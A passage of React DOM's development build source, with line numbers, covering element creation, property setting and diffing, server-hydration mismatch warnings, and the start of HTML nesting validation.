9707 if (typeof nextProp === 'string') {
9708 // Avoid setting initial textContent when the text is empty. In IE11 setting
9709 // textContent on a <textarea> will cause the placeholder to not
9710 // show within the <textarea> until it has been focused and blurred again.
9711 // https://github.com/facebook/react/issues/6731#issuecomment-254874553
9712 var canSetTextContent = tag !== 'textarea' || nextProp !== '';
9713
9714 if (canSetTextContent) {
9715 setTextContent(domElement, nextProp);
9716 }
9717 } else if (typeof nextProp === 'number') {
9718 setTextContent(domElement, '' + nextProp);
9719 }
9720 } else if (propKey === SUPPRESS_CONTENT_EDITABLE_WARNING || propKey === SUPPRESS_HYDRATION_WARNING) ; else if (propKey === AUTOFOCUS) ; else if (registrationNameDependencies.hasOwnProperty(propKey)) {
9721 if (nextProp != null) {
9722 if ( typeof nextProp !== 'function') {
9723 warnForInvalidEventListener(propKey, nextProp);
9724 }
9725
9726 if (propKey === 'onScroll') {
9727 listenToNonDelegatedEvent('scroll', domElement);
9728 }
9729 }
9730 } else if (nextProp != null) {
9731 setValueForProperty(domElement, propKey, nextProp, isCustomComponentTag);
9732 }
9733 }
9734 }
9735
9736 function updateDOMProperties(domElement, updatePayload, wasCustomComponentTag, isCustomComponentTag) {
9737 // TODO: Handle wasCustomComponentTag
9738 for (var i = 0; i < updatePayload.length; i += 2) {
9739 var propKey = updatePayload[i];
9740 var propValue = updatePayload[i + 1];
9741
9742 if (propKey === STYLE) {
9743 setValueForStyles(domElement, propValue);
9744 } else if (propKey === DANGEROUSLY_SET_INNER_HTML) {
9745 setInnerHTML(domElement, propValue);
9746 } else if (propKey === CHILDREN) {
9747 setTextContent(domElement, propValue);
9748 } else {
9749 setValueForProperty(domElement, propKey, propValue, isCustomComponentTag);
9750 }
9751 }
9752 }
9753
9754 function createElement(type, props, rootContainerElement, parentNamespace) {
9755 var isCustomComponentTag; // We create tags in the namespace of their parent container, except HTML
9756 // tags get no namespace.
9757
9758 var ownerDocument = getOwnerDocumentFromRootContainer(rootContainerElement);
9759 var domElement;
9760 var namespaceURI = parentNamespace;
9761
9762 if (namespaceURI === HTML_NAMESPACE) {
9763 namespaceURI = getIntrinsicNamespace(type);
9764 }
9765
9766 if (namespaceURI === HTML_NAMESPACE) {
9767 {
9768 isCustomComponentTag = isCustomComponent(type, props); // Should this check be gated by parent namespace? Not sure we want to
9769 // allow <SVG> or <mATH>.
9770
9771 if (!isCustomComponentTag && type !== type.toLowerCase()) {
9772 error('<%s /> is using incorrect casing. ' + 'Use PascalCase for React components, ' + 'or lowercase for HTML elements.', type);
9773 }
9774 }
9775
9776 if (type === 'script') {
9777 // Create the script via .innerHTML so its "parser-inserted" flag is
9778 // set to true and it does not execute
9779 var div = ownerDocument.createElement('div');
9780
9781 div.innerHTML = '<script><' + '/script>'; // eslint-disable-line
9782 // This is guaranteed to yield a script element.
9783
9784 var firstChild = div.firstChild;
9785 domElement = div.removeChild(firstChild);
9786 } else if (typeof props.is === 'string') {
9787 // $FlowIssue `createElement` should be updated for Web Components
9788 domElement = ownerDocument.createElement(type, {
9789 is: props.is
9790 });
9791 } else {
9792 // Separate else branch instead of using `props.is || undefined` above because of a Firefox bug.
9793 // See discussion in https://github.com/facebook/react/pull/6896
9794 // and discussion in https://bugzilla.mozilla.org/show_bug.cgi?id=1276240
9795 domElement = ownerDocument.createElement(type); // Normally attributes are assigned in `setInitialDOMProperties`, however the `multiple` and `size`
9796 // attributes on `select`s needs to be added before `option`s are inserted.
9797 // This prevents:
9798 // - a bug where the `select` does not scroll to the correct option because singular
9799 // `select` elements automatically pick the first item #13222
9800 // - a bug where the `select` set the first item as selected despite the `size` attribute #14239
9801 // See https://github.com/facebook/react/issues/13222
9802 // and https://github.com/facebook/react/issues/14239
9803
9804 if (type === 'select') {
9805 var node = domElement;
9806
9807 if (props.multiple) {
9808 node.multiple = true;
9809 } else if (props.size) {
9810 // Setting a size greater than 1 causes a select to behave like `multiple=true`, where
9811 // it is possible that no option is selected.
9812 //
9813 // This is only necessary when a select in "single selection mode".
9814 node.size = props.size;
9815 }
9816 }
9817 }
9818 } else {
9819 domElement = ownerDocument.createElementNS(namespaceURI, type);
9820 }
9821
9822 {
9823 if (namespaceURI === HTML_NAMESPACE) {
9824 if (!isCustomComponentTag && Object.prototype.toString.call(domElement) === '[object HTMLUnknownElement]' && !hasOwnProperty.call(warnedUnknownTags, type)) {
9825 warnedUnknownTags[type] = true;
9826
9827 error('The tag <%s> is unrecognized in this browser. ' + 'If you meant to render a React component, start its name with ' + 'an uppercase letter.', type);
9828 }
9829 }
9830 }
9831
9832 return domElement;
9833 }
9834 function createTextNode(text, rootContainerElement) {
9835 return getOwnerDocumentFromRootContainer(rootContainerElement).createTextNode(text);
9836 }
9837 function setInitialProperties(domElement, tag, rawProps, rootContainerElement) {
9838 var isCustomComponentTag = isCustomComponent(tag, rawProps);
9839
9840 {
9841 validatePropertiesInDevelopment(tag, rawProps);
9842 } // TODO: Make sure that we check isMounted before firing any of these events.
9843
9844
9845 var props;
9846
9847 switch (tag) {
9848 case 'dialog':
9849 listenToNonDelegatedEvent('cancel', domElement);
9850 listenToNonDelegatedEvent('close', domElement);
9851 props = rawProps;
9852 break;
9853
9854 case 'iframe':
9855 case 'object':
9856 case 'embed':
9857 // We listen to this event in case to ensure emulated bubble
9858 // listeners still fire for the load event.
9859 listenToNonDelegatedEvent('load', domElement);
9860 props = rawProps;
9861 break;
9862
9863 case 'video':
9864 case 'audio':
9865 // We listen to these events in case to ensure emulated bubble
9866 // listeners still fire for all the media events.
9867 for (var i = 0; i < mediaEventTypes.length; i++) {
9868 listenToNonDelegatedEvent(mediaEventTypes[i], domElement);
9869 }
9870
9871 props = rawProps;
9872 break;
9873
9874 case 'source':
9875 // We listen to this event in case to ensure emulated bubble
9876 // listeners still fire for the error event.
9877 listenToNonDelegatedEvent('error', domElement);
9878 props = rawProps;
9879 break;
9880
9881 case 'img':
9882 case 'image':
9883 case 'link':
9884 // We listen to these events in case to ensure emulated bubble
9885 // listeners still fire for error and load events.
9886 listenToNonDelegatedEvent('error', domElement);
9887 listenToNonDelegatedEvent('load', domElement);
9888 props = rawProps;
9889 break;
9890
9891 case 'details':
9892 // We listen to this event in case to ensure emulated bubble
9893 // listeners still fire for the toggle event.
9894 listenToNonDelegatedEvent('toggle', domElement);
9895 props = rawProps;
9896 break;
9897
9898 case 'input':
9899 initWrapperState(domElement, rawProps);
9900 props = getHostProps(domElement, rawProps); // We listen to this event in case to ensure emulated bubble
9901 // listeners still fire for the invalid event.
9902
9903 listenToNonDelegatedEvent('invalid', domElement);
9904 break;
9905
9906 case 'option':
9907 validateProps(domElement, rawProps);
9908 props = rawProps;
9909 break;
9910
9911 case 'select':
9912 initWrapperState$1(domElement, rawProps);
9913 props = getHostProps$1(domElement, rawProps); // We listen to this event in case to ensure emulated bubble
9914 // listeners still fire for the invalid event.
9915
9916 listenToNonDelegatedEvent('invalid', domElement);
9917 break;
9918
9919 case 'textarea':
9920 initWrapperState$2(domElement, rawProps);
9921 props = getHostProps$2(domElement, rawProps); // We listen to this event in case to ensure emulated bubble
9922 // listeners still fire for the invalid event.
9923
9924 listenToNonDelegatedEvent('invalid', domElement);
9925 break;
9926
9927 default:
9928 props = rawProps;
9929 }
9930
9931 assertValidProps(tag, props);
9932 setInitialDOMProperties(tag, domElement, rootContainerElement, props, isCustomComponentTag);
9933
9934 switch (tag) {
9935 case 'input':
9936 // TODO: Make sure we check if this is still unmounted or do any clean
9937 // up necessary since we never stop tracking anymore.
9938 track(domElement);
9939 postMountWrapper(domElement, rawProps, false);
9940 break;
9941
9942 case 'textarea':
9943 // TODO: Make sure we check if this is still unmounted or do any clean
9944 // up necessary since we never stop tracking anymore.
9945 track(domElement);
9946 postMountWrapper$3(domElement);
9947 break;
9948
9949 case 'option':
9950 postMountWrapper$1(domElement, rawProps);
9951 break;
9952
9953 case 'select':
9954 postMountWrapper$2(domElement, rawProps);
9955 break;
9956
9957 default:
9958 if (typeof props.onClick === 'function') {
9959 // TODO: This cast may not be sound for SVG, MathML or custom elements.
9960 trapClickOnNonInteractiveElement(domElement);
9961 }
9962
9963 break;
9964 }
9965 } // Calculate the diff between the two objects.
9966
9967 function diffProperties(domElement, tag, lastRawProps, nextRawProps, rootContainerElement) {
9968 {
9969 validatePropertiesInDevelopment(tag, nextRawProps);
9970 }
9971
9972 var updatePayload = null;
9973 var lastProps;
9974 var nextProps;
9975
9976 switch (tag) {
9977 case 'input':
9978 lastProps = getHostProps(domElement, lastRawProps);
9979 nextProps = getHostProps(domElement, nextRawProps);
9980 updatePayload = [];
9981 break;
9982
9983 case 'select':
9984 lastProps = getHostProps$1(domElement, lastRawProps);
9985 nextProps = getHostProps$1(domElement, nextRawProps);
9986 updatePayload = [];
9987 break;
9988
9989 case 'textarea':
9990 lastProps = getHostProps$2(domElement, lastRawProps);
9991 nextProps = getHostProps$2(domElement, nextRawProps);
9992 updatePayload = [];
9993 break;
9994
9995 default:
9996 lastProps = lastRawProps;
9997 nextProps = nextRawProps;
9998
9999 if (typeof lastProps.onClick !== 'function' && typeof nextProps.onClick === 'function') {
10000 // TODO: This cast may not be sound for SVG, MathML or custom elements.
10001 trapClickOnNonInteractiveElement(domElement);
10002 }
10003
10004 break;
10005 }
10006
10007 assertValidProps(tag, nextProps);
10008 var propKey;
10009 var styleName;
10010 var styleUpdates = null;
10011
10012 for (propKey in lastProps) {
10013 if (nextProps.hasOwnProperty(propKey) || !lastProps.hasOwnProperty(propKey) || lastProps[propKey] == null) {
10014 continue;
10015 }
10016
10017 if (propKey === STYLE) {
10018 var lastStyle = lastProps[propKey];
10019
10020 for (styleName in lastStyle) {
10021 if (lastStyle.hasOwnProperty(styleName)) {
10022 if (!styleUpdates) {
10023 styleUpdates = {};
10024 }
10025
10026 styleUpdates[styleName] = '';
10027 }
10028 }
10029 } else if (propKey === DANGEROUSLY_SET_INNER_HTML || propKey === CHILDREN) ; else if (propKey === SUPPRESS_CONTENT_EDITABLE_WARNING || propKey === SUPPRESS_HYDRATION_WARNING) ; else if (propKey === AUTOFOCUS) ; else if (registrationNameDependencies.hasOwnProperty(propKey)) {
10030 // This is a special case. If any listener updates we need to ensure
10031 // that the "current" fiber pointer gets updated so we need a commit
10032 // to update this element.
10033 if (!updatePayload) {
10034 updatePayload = [];
10035 }
10036 } else {
10037 // For all other deleted properties we add it to the queue. We use
10038 // the allowed property list in the commit phase instead.
10039 (updatePayload = updatePayload || []).push(propKey, null);
10040 }
10041 }
10042
10043 for (propKey in nextProps) {
10044 var nextProp = nextProps[propKey];
10045 var lastProp = lastProps != null ? lastProps[propKey] : undefined;
10046
10047 if (!nextProps.hasOwnProperty(propKey) || nextProp === lastProp || nextProp == null && lastProp == null) {
10048 continue;
10049 }
10050
10051 if (propKey === STYLE) {
10052 {
10053 if (nextProp) {
10054 // Freeze the next style object so that we can assume it won't be
10055 // mutated. We have already warned for this in the past.
10056 Object.freeze(nextProp);
10057 }
10058 }
10059
10060 if (lastProp) {
10061 // Unset styles on `lastProp` but not on `nextProp`.
10062 for (styleName in lastProp) {
10063 if (lastProp.hasOwnProperty(styleName) && (!nextProp || !nextProp.hasOwnProperty(styleName))) {
10064 if (!styleUpdates) {
10065 styleUpdates = {};
10066 }
10067
10068 styleUpdates[styleName] = '';
10069 }
10070 } // Update styles that changed since `lastProp`.
10071
10072
10073 for (styleName in nextProp) {
10074 if (nextProp.hasOwnProperty(styleName) && lastProp[styleName] !== nextProp[styleName]) {
10075 if (!styleUpdates) {
10076 styleUpdates = {};
10077 }
10078
10079 styleUpdates[styleName] = nextProp[styleName];
10080 }
10081 }
10082 } else {
10083 // Relies on `updateStylesByID` not mutating `styleUpdates`.
10084 if (!styleUpdates) {
10085 if (!updatePayload) {
10086 updatePayload = [];
10087 }
10088
10089 updatePayload.push(propKey, styleUpdates);
10090 }
10091
10092 styleUpdates = nextProp;
10093 }
10094 } else if (propKey === DANGEROUSLY_SET_INNER_HTML) {
10095 var nextHtml = nextProp ? nextProp[HTML$1] : undefined;
10096 var lastHtml = lastProp ? lastProp[HTML$1] : undefined;
10097
10098 if (nextHtml != null) {
10099 if (lastHtml !== nextHtml) {
10100 (updatePayload = updatePayload || []).push(propKey, nextHtml);
10101 }
10102 }
10103 } else if (propKey === CHILDREN) {
10104 if (typeof nextProp === 'string' || typeof nextProp === 'number') {
10105 (updatePayload = updatePayload || []).push(propKey, '' + nextProp);
10106 }
10107 } else if (propKey === SUPPRESS_CONTENT_EDITABLE_WARNING || propKey === SUPPRESS_HYDRATION_WARNING) ; else if (registrationNameDependencies.hasOwnProperty(propKey)) {
10108 if (nextProp != null) {
10109 // We eagerly listen to this even though we haven't committed yet.
10110 if ( typeof nextProp !== 'function') {
10111 warnForInvalidEventListener(propKey, nextProp);
10112 }
10113
10114 if (propKey === 'onScroll') {
10115 listenToNonDelegatedEvent('scroll', domElement);
10116 }
10117 }
10118
10119 if (!updatePayload && lastProp !== nextProp) {
10120 // This is a special case. If any listener updates we need to ensure
10121 // that the "current" props pointer gets updated so we need a commit
10122 // to update this element.
10123 updatePayload = [];
10124 }
10125 } else {
10126 // For any other property we always add it to the queue and then we
10127 // filter it out using the allowed property list during the commit.
10128 (updatePayload = updatePayload || []).push(propKey, nextProp);
10129 }
10130 }
10131
10132 if (styleUpdates) {
10133 {
10134 validateShorthandPropertyCollisionInDev(styleUpdates, nextProps[STYLE]);
10135 }
10136
10137 (updatePayload = updatePayload || []).push(STYLE, styleUpdates);
10138 }
10139
10140 return updatePayload;
10141 } // Apply the diff.
10142
10143 function updateProperties(domElement, updatePayload, tag, lastRawProps, nextRawProps) {
10144 // Update checked *before* name.
10145 // In the middle of an update, it is possible to have multiple checked.
10146 // When a checked radio tries to change name, browser makes another radio's checked false.
10147 if (tag === 'input' && nextRawProps.type === 'radio' && nextRawProps.name != null) {
10148 updateChecked(domElement, nextRawProps);
10149 }
10150
10151 var wasCustomComponentTag = isCustomComponent(tag, lastRawProps);
10152 var isCustomComponentTag = isCustomComponent(tag, nextRawProps); // Apply the diff.
10153
10154 updateDOMProperties(domElement, updatePayload, wasCustomComponentTag, isCustomComponentTag); // TODO: Ensure that an update gets scheduled if any of the special props
10155 // changed.
10156
10157 switch (tag) {
10158 case 'input':
10159 // Update the wrapper around inputs *after* updating props. This has to
10160 // happen after `updateDOMProperties`. Otherwise HTML5 input validations
10161 // raise warnings and prevent the new value from being assigned.
10162 updateWrapper(domElement, nextRawProps);
10163 break;
10164
10165 case 'textarea':
10166 updateWrapper$1(domElement, nextRawProps);
10167 break;
10168
10169 case 'select':
10170 // <select> value update needs to occur after <option> children
10171 // reconciliation
10172 postUpdateWrapper(domElement, nextRawProps);
10173 break;
10174 }
10175 }
10176
10177 function getPossibleStandardName(propName) {
10178 {
10179 var lowerCasedName = propName.toLowerCase();
10180
10181 if (!possibleStandardNames.hasOwnProperty(lowerCasedName)) {
10182 return null;
10183 }
10184
10185 return possibleStandardNames[lowerCasedName] || null;
10186 }
10187 }
10188
10189 function diffHydratedProperties(domElement, tag, rawProps, parentNamespace, rootContainerElement, isConcurrentMode, shouldWarnDev) {
10190 var isCustomComponentTag;
10191 var extraAttributeNames;
10192
10193 {
10194 isCustomComponentTag = isCustomComponent(tag, rawProps);
10195 validatePropertiesInDevelopment(tag, rawProps);
10196 } // TODO: Make sure that we check isMounted before firing any of these events.
10197
10198
10199 switch (tag) {
10200 case 'dialog':
10201 listenToNonDelegatedEvent('cancel', domElement);
10202 listenToNonDelegatedEvent('close', domElement);
10203 break;
10204
10205 case 'iframe':
10206 case 'object':
10207 case 'embed':
10208 // We listen to this event in case to ensure emulated bubble
10209 // listeners still fire for the load event.
10210 listenToNonDelegatedEvent('load', domElement);
10211 break;
10212
10213 case 'video':
10214 case 'audio':
10215 // We listen to these events in case to ensure emulated bubble
10216 // listeners still fire for all the media events.
10217 for (var i = 0; i < mediaEventTypes.length; i++) {
10218 listenToNonDelegatedEvent(mediaEventTypes[i], domElement);
10219 }
10220
10221 break;
10222
10223 case 'source':
10224 // We listen to this event in case to ensure emulated bubble
10225 // listeners still fire for the error event.
10226 listenToNonDelegatedEvent('error', domElement);
10227 break;
10228
10229 case 'img':
10230 case 'image':
10231 case 'link':
10232 // We listen to these events in case to ensure emulated bubble
10233 // listeners still fire for error and load events.
10234 listenToNonDelegatedEvent('error', domElement);
10235 listenToNonDelegatedEvent('load', domElement);
10236 break;
10237
10238 case 'details':
10239 // We listen to this event in case to ensure emulated bubble
10240 // listeners still fire for the toggle event.
10241 listenToNonDelegatedEvent('toggle', domElement);
10242 break;
10243
10244 case 'input':
10245 initWrapperState(domElement, rawProps); // We listen to this event in case to ensure emulated bubble
10246 // listeners still fire for the invalid event.
10247
10248 listenToNonDelegatedEvent('invalid', domElement);
10249 break;
10250
10251 case 'option':
10252 validateProps(domElement, rawProps);
10253 break;
10254
10255 case 'select':
10256 initWrapperState$1(domElement, rawProps); // We listen to this event in case to ensure emulated bubble
10257 // listeners still fire for the invalid event.
10258
10259 listenToNonDelegatedEvent('invalid', domElement);
10260 break;
10261
10262 case 'textarea':
10263 initWrapperState$2(domElement, rawProps); // We listen to this event in case to ensure emulated bubble
10264 // listeners still fire for the invalid event.
10265
10266 listenToNonDelegatedEvent('invalid', domElement);
10267 break;
10268 }
10269
10270 assertValidProps(tag, rawProps);
10271
10272 {
10273 extraAttributeNames = new Set();
10274 var attributes = domElement.attributes;
10275
10276 for (var _i = 0; _i < attributes.length; _i++) {
10277 var name = attributes[_i].name.toLowerCase();
10278
10279 switch (name) {
10280 // Controlled attributes are not validated
10281 // TODO: Only ignore them on controlled tags.
10282 case 'value':
10283 break;
10284
10285 case 'checked':
10286 break;
10287
10288 case 'selected':
10289 break;
10290
10291 default:
10292 // Intentionally use the original name.
10293 // See discussion in https://github.com/facebook/react/pull/10676.
10294 extraAttributeNames.add(attributes[_i].name);
10295 }
10296 }
10297 }
10298
10299 var updatePayload = null;
10300
10301 for (var propKey in rawProps) {
10302 if (!rawProps.hasOwnProperty(propKey)) {
10303 continue;
10304 }
10305
10306 var nextProp = rawProps[propKey];
10307
10308 if (propKey === CHILDREN) {
10309 // For text content children we compare against textContent. This
10310 // might match additional HTML that is hidden when we read it using
10311 // textContent. E.g. "foo" will match "f<span>oo</span>" but that still
10312 // satisfies our requirement. Our requirement is not to produce perfect
10313 // HTML and attributes. Ideally we should preserve structure but it's
10314 // ok not to if the visible content is still enough to indicate what
10315 // even listeners these nodes might be wired up to.
10316 // TODO: Warn if there is more than a single textNode as a child.
10317 // TODO: Should we use domElement.firstChild.nodeValue to compare?
10318 if (typeof nextProp === 'string') {
10319 if (domElement.textContent !== nextProp) {
10320 if (rawProps[SUPPRESS_HYDRATION_WARNING] !== true) {
10321 checkForUnmatchedText(domElement.textContent, nextProp, isConcurrentMode, shouldWarnDev);
10322 }
10323
10324 updatePayload = [CHILDREN, nextProp];
10325 }
10326 } else if (typeof nextProp === 'number') {
10327 if (domElement.textContent !== '' + nextProp) {
10328 if (rawProps[SUPPRESS_HYDRATION_WARNING] !== true) {
10329 checkForUnmatchedText(domElement.textContent, nextProp, isConcurrentMode, shouldWarnDev);
10330 }
10331
10332 updatePayload = [CHILDREN, '' + nextProp];
10333 }
10334 }
10335 } else if (registrationNameDependencies.hasOwnProperty(propKey)) {
10336 if (nextProp != null) {
10337 if ( typeof nextProp !== 'function') {
10338 warnForInvalidEventListener(propKey, nextProp);
10339 }
10340
10341 if (propKey === 'onScroll') {
10342 listenToNonDelegatedEvent('scroll', domElement);
10343 }
10344 }
10345 } else if (shouldWarnDev && true && // Convince Flow we've calculated it (it's DEV-only in this method.)
10346 typeof isCustomComponentTag === 'boolean') {
10347 // Validate that the properties correspond to their expected values.
10348 var serverValue = void 0;
10349 var propertyInfo = isCustomComponentTag && enableCustomElementPropertySupport ? null : getPropertyInfo(propKey);
10350
10351 if (rawProps[SUPPRESS_HYDRATION_WARNING] === true) ; else if (propKey === SUPPRESS_CONTENT_EDITABLE_WARNING || propKey === SUPPRESS_HYDRATION_WARNING || // Controlled attributes are not validated
10352 // TODO: Only ignore them on controlled tags.
10353 propKey === 'value' || propKey === 'checked' || propKey === 'selected') ; else if (propKey === DANGEROUSLY_SET_INNER_HTML) {
10354 var serverHTML = domElement.innerHTML;
10355 var nextHtml = nextProp ? nextProp[HTML$1] : undefined;
10356
10357 if (nextHtml != null) {
10358 var expectedHTML = normalizeHTML(domElement, nextHtml);
10359
10360 if (expectedHTML !== serverHTML) {
10361 warnForPropDifference(propKey, serverHTML, expectedHTML);
10362 }
10363 }
10364 } else if (propKey === STYLE) {
10365 // $FlowFixMe - Should be inferred as not undefined.
10366 extraAttributeNames.delete(propKey);
10367
10368 if (canDiffStyleForHydrationWarning) {
10369 var expectedStyle = createDangerousStringForStyles(nextProp);
10370 serverValue = domElement.getAttribute('style');
10371
10372 if (expectedStyle !== serverValue) {
10373 warnForPropDifference(propKey, serverValue, expectedStyle);
10374 }
10375 }
10376 } else if (isCustomComponentTag && !enableCustomElementPropertySupport) {
10377 // $FlowFixMe - Should be inferred as not undefined.
10378 extraAttributeNames.delete(propKey.toLowerCase());
10379 serverValue = getValueForAttribute(domElement, propKey, nextProp);
10380
10381 if (nextProp !== serverValue) {
10382 warnForPropDifference(propKey, serverValue, nextProp);
10383 }
10384 } else if (!shouldIgnoreAttribute(propKey, propertyInfo, isCustomComponentTag) && !shouldRemoveAttribute(propKey, nextProp, propertyInfo, isCustomComponentTag)) {
10385 var isMismatchDueToBadCasing = false;
10386
10387 if (propertyInfo !== null) {
10388 // $FlowFixMe - Should be inferred as not undefined.
10389 extraAttributeNames.delete(propertyInfo.attributeName);
10390 serverValue = getValueForProperty(domElement, propKey, nextProp, propertyInfo);
10391 } else {
10392 var ownNamespace = parentNamespace;
10393
10394 if (ownNamespace === HTML_NAMESPACE) {
10395 ownNamespace = getIntrinsicNamespace(tag);
10396 }
10397
10398 if (ownNamespace === HTML_NAMESPACE) {
10399 // $FlowFixMe - Should be inferred as not undefined.
10400 extraAttributeNames.delete(propKey.toLowerCase());
10401 } else {
10402 var standardName = getPossibleStandardName(propKey);
10403
10404 if (standardName !== null && standardName !== propKey) {
10405 // If an SVG prop is supplied with bad casing, it will
10406 // be successfully parsed from HTML, but will produce a mismatch
10407 // (and would be incorrectly rendered on the client).
10408 // However, we already warn about bad casing elsewhere.
10409 // So we'll skip the misleading extra mismatch warning in this case.
10410 isMismatchDueToBadCasing = true; // $FlowFixMe - Should be inferred as not undefined.
10411
10412 extraAttributeNames.delete(standardName);
10413 } // $FlowFixMe - Should be inferred as not undefined.
10414
10415
10416 extraAttributeNames.delete(propKey);
10417 }
10418
10419 serverValue = getValueForAttribute(domElement, propKey, nextProp);
10420 }
10421
10422 var dontWarnCustomElement = enableCustomElementPropertySupport ;
10423
10424 if (!dontWarnCustomElement && nextProp !== serverValue && !isMismatchDueToBadCasing) {
10425 warnForPropDifference(propKey, serverValue, nextProp);
10426 }
10427 }
10428 }
10429 }
10430
10431 {
10432 if (shouldWarnDev) {
10433 if ( // $FlowFixMe - Should be inferred as not undefined.
10434 extraAttributeNames.size > 0 && rawProps[SUPPRESS_HYDRATION_WARNING] !== true) {
10435 // $FlowFixMe - Should be inferred as not undefined.
10436 warnForExtraAttributes(extraAttributeNames);
10437 }
10438 }
10439 }
10440
10441 switch (tag) {
10442 case 'input':
10443 // TODO: Make sure we check if this is still unmounted or do any clean
10444 // up necessary since we never stop tracking anymore.
10445 track(domElement);
10446 postMountWrapper(domElement, rawProps, true);
10447 break;
10448
10449 case 'textarea':
10450 // TODO: Make sure we check if this is still unmounted or do any clean
10451 // up necessary since we never stop tracking anymore.
10452 track(domElement);
10453 postMountWrapper$3(domElement);
10454 break;
10455
10456 case 'select':
10457 case 'option':
10458 // For input and textarea we current always set the value property at
10459 // post mount to force it to diverge from attributes. However, for
10460 // option and select we don't quite do the same thing and select
10461 // is not resilient to the DOM state changing so we don't do that here.
10462 // TODO: Consider not doing this for input and textarea.
10463 break;
10464
10465 default:
10466 if (typeof rawProps.onClick === 'function') {
10467 // TODO: This cast may not be sound for SVG, MathML or custom elements.
10468 trapClickOnNonInteractiveElement(domElement);
10469 }
10470
10471 break;
10472 }
10473
10474 return updatePayload;
10475 }
10476 function diffHydratedText(textNode, text, isConcurrentMode) {
10477 var isDifferent = textNode.nodeValue !== text;
10478 return isDifferent;
10479 }
10480 function warnForDeletedHydratableElement(parentNode, child) {
10481 {
10482 if (didWarnInvalidHydration) {
10483 return;
10484 }
10485
10486 didWarnInvalidHydration = true;
10487
10488 error('Did not expect server HTML to contain a <%s> in <%s>.', child.nodeName.toLowerCase(), parentNode.nodeName.toLowerCase());
10489 }
10490 }
10491 function warnForDeletedHydratableText(parentNode, child) {
10492 {
10493 if (didWarnInvalidHydration) {
10494 return;
10495 }
10496
10497 didWarnInvalidHydration = true;
10498
10499 error('Did not expect server HTML to contain the text node "%s" in <%s>.', child.nodeValue, parentNode.nodeName.toLowerCase());
10500 }
10501 }
10502 function warnForInsertedHydratedElement(parentNode, tag, props) {
10503 {
10504 if (didWarnInvalidHydration) {
10505 return;
10506 }
10507
10508 didWarnInvalidHydration = true;
10509
10510 error('Expected server HTML to contain a matching <%s> in <%s>.', tag, parentNode.nodeName.toLowerCase());
10511 }
10512 }
10513 function warnForInsertedHydratedText(parentNode, text) {
10514 {
10515 if (text === '') {
10516 // We expect to insert empty text nodes since they're not represented in
10517 // the HTML.
10518 // TODO: Remove this special case if we can just avoid inserting empty
10519 // text nodes.
10520 return;
10521 }
10522
10523 if (didWarnInvalidHydration) {
10524 return;
10525 }
10526
10527 didWarnInvalidHydration = true;
10528
10529 error('Expected server HTML to contain a matching text node for "%s" in <%s>.', text, parentNode.nodeName.toLowerCase());
10530 }
10531 }
10532 function restoreControlledState$3(domElement, tag, props) {
10533 switch (tag) {
10534 case 'input':
10535 restoreControlledState(domElement, props);
10536 return;
10537
10538 case 'textarea':
10539 restoreControlledState$2(domElement, props);
10540 return;
10541
10542 case 'select':
10543 restoreControlledState$1(domElement, props);
10544 return;
10545 }
10546 }
10547
10548 var validateDOMNesting = function () {};
10549
10550 var updatedAncestorInfo = function () {};
10551
10552 {
10553 // This validation code was written based on the HTML5 parsing spec:
10554 // https://html.spec.whatwg.org/multipage/syntax.html#has-an-element-in-scope
10555 //
10556 // Note: this does not catch all invalid nesting, nor does it try to (as it's
10557 // not clear what practical benefit doing so provides); instead, we warn only
10558 // for cases where the parser will give a parse tree differing from what React
10559 // intended. For example, <b><div></div></b> is invalid but we don't warn
10560 // because it still parses correctly; we do warn for other cases like nested
10561 // <p> tags where the beginning of the second element implicitly closes the
10562 // first, causing a confusing mess.
10563 // https://html.spec.whatwg.org/multipage/syntax.html#special
10564 var specialTags = ['address', 'applet', 'area', 'article', 'aside', 'base', 'basefont', 'bgsound', 'blockquote', 'body', 'br', 'button', 'caption', 'center', 'col', 'colgroup', 'dd', 'details', 'dir', 'div', 'dl', 'dt', 'embed', 'fieldset', 'figcaption', 'figure', 'footer', 'form', 'frame', 'frameset', 'h1', 'h2', 'h3', 'h4', 'h5', 'h6', 'head', 'header', 'hgroup', 'hr', 'html', 'iframe', 'img', 'input', 'isindex', 'li', 'link', 'listing', 'main', 'marquee', 'menu', 'menuitem', 'meta', 'nav', 'noembed', 'noframes', 'noscript', 'object', 'ol', 'p', 'param', 'plaintext', 'pre', 'script', 'section', 'select', 'source', 'style', 'summary', 'table', 'tbody', 'td', 'template', 'textarea', 'tfoot', 'th', 'thead', 'title', 'tr', 'track', 'ul', 'wbr', 'xmp']; // https://html.spec.whatwg.org/multipage/syntax.html#has-an-element-in-scope
10565
10566 var inScopeTags = ['applet', 'caption', 'html', 'table', 'td', 'th', 'marquee', 'object', 'template', // https://html.spec.whatwg.org/multipage/syntax.html#html-integration-point
10567 // TODO: Distinguish by namespace here -- for <title>, including it here
10568 // errs on the side of fewer warnings
10569 'foreignObject', 'desc', 'title']; // https://html.spec.whatwg.org/multipage/syntax.html#has-an-element-in-button-scope
10570
10571 var buttonScopeTags = inScopeTags.concat(['button']); // https://html.spec.whatwg.org/multipage/syntax.html#generate-implied-end-tags
10572
10573 var impliedEndTags = ['dd', 'dt', 'li', 'option', 'optgroup', 'p', 'rp', 'rt'];
10574 var emptyAncestorInfo = {
10575 current: null,
10576 formTag: null,
10577 aTagInScope: null,
10578 buttonTagInScope: null,
10579 nobrTagInScope: null,
10580 pTagInButtonScope: null,
10581 listItemTagAutoclosing: null,
10582 dlItemTagAutoclosing: null
10583 };
10584
10585 updatedAncestorInfo = function (oldInfo, tag) {
10586 var ancestorInfo = assign({}, oldInfo || emptyAncestorInfo);
10587
10588 var info = {
10589 tag: tag
10590 };
10591
10592 if (inScopeTags.indexOf(tag) !== -1) {
10593 ancestorInfo.aTagInScope = null;
10594 ancestorInfo.buttonTagInScope = null;
10595 ancestorInfo.nobrTagInScope = null;
10596 }
10597
10598 if (buttonScopeTags.indexOf(tag) !== -1) {
10599 ancestorInfo.pTagInButtonScope = null;
10600 } // See rules for 'li', 'dd', 'dt' start tags in
10601 // https://html.spec.whatwg.org/multipage/syntax.html#parsing-main-inbody
10602
10603
10604 if (specialTags.indexOf(tag) !== -1 && tag !== 'address' && tag !== 'div' && tag !== 'p') {
10605 ancestorInfo.listItemTagAutoclosing = null;
10606 ancestorInfo.dlItemTagAutoclosing = null;
10607 }
10608
10609 ancestorInfo.current = info;
10610
10611 if (tag === 'form') {
10612 ancestorInfo.formTag = info;
10613 }
10614
10615 if (tag === 'a') {
10616 ancestorInfo.aTagInScope = info;
10617 }
10618
10619 if (tag === 'button') {
10620 ancestorInfo.buttonTagInScope = info;
10621 }
10622
10623 if (tag === 'nobr') {
